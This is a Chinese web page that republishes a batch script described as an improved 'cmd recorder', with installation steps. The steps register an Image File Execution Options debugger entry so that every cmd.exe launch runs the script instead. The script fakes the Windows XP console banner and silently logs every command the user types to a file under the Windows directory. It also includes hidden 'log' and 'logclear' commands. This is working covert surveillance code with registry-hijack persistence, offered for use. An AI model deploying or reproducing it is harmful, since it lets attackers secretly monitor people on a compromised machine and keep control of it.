安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif
注册表 添加
hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\cmd.exe
字串 debugger
字串内容 cmd.gif /c cmd.bat
@echo off
title %comspec%
rem cmd 记录器 改良版
rem 原作者 superjj(可能是马甲!)
rem 原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
rem 由我allyesno 改良(是本人不是马甲!)
rem 容错代码就不改良了,一些细节部分自己添加!
setlocal enabledelayedexpansion
echo microsoft windows xp [版本 5.1.2600]
echo (c) 版权所有 1985-2001 microsoft corp.
echo.
for /l %%i in (0,0,0) do (
set /p strcmd=%cd%^>
if "!strcmd!"=="whoami" echo allyesno&set strcmd=
if "!strcmd!"=="log" type %windir%history.txt&set strcmd=
if "!strcmd!"=="logclear" del %windir%history.txt&set strcmd=
for /f "delims=" %%i in ("!strcmd!") do echo %%i >>%windir%history.txt
!strcmd!
echo.
如对本文有疑问,
点击进行留言回复!!
相关文章:
-
-
批处理ren重命名的方式
批处理之ren命令-可批量修改文件名1.批处理批量修改文件后缀名(假设我需要把一个文件夹中的很多txt文件改为sql文件): 1)在需要被处理的文件的文件夹里先...
[阅读全文]
-
-
-
-
-
-
-
-
-
网友评论